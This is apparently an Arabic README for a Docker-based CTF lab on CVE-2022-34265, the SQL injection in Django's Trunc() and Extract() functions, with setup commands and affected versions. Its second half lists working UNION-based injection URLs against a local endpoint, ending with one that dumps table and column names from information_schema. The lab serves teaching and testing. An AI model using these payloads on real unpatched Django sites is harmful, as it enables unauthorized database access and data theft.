
# تحدي CTF قائم على Docker يوضح حقن SQL في دوال Trunc() و Extract() الخاصة بـ Django (CVE-2022-34265) مع أمثلة على حمولات قائمة على UNION.
تم اكتشاف مشكلة في Django 3.2 قبل 3.2.14 و4.0 قبل 4.0.6. دوال قاعدة البيانات Trunc() وExtract() معرضة لحقن SQL إذا تم استخدام بيانات غير موثوقة كقيمة kind/lookup_name. التطبيقات التي تقيّد اختيار lookup_name وkind إلى قائمة آمنة معروفة غير متأثرة.
git clone https://github.com/coco0x0a/CTF_CVE-2022-34265
cd CVE-2022-34265
sudo docker-compose up -d
sudo docker ps
sudo docker-compose down
Django>= 3.2, < 3.2.14
Django >= 4.0, < 4.0.6
Django 3.2.14
Django 4.0.6
باستخدام UNION
http://127.0.0.1:8000/extract/?lookup_name=year%20FROM%20start_datetime))%20OR%201=1%20UNION%20SELECT%201--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, 2, 3, 4, 5, 6, 7--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT "TEST", now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT CONCAT(table_name, '~', column_name), now(), now(), now(), now(), now(), now() FROM information_schema.columns--
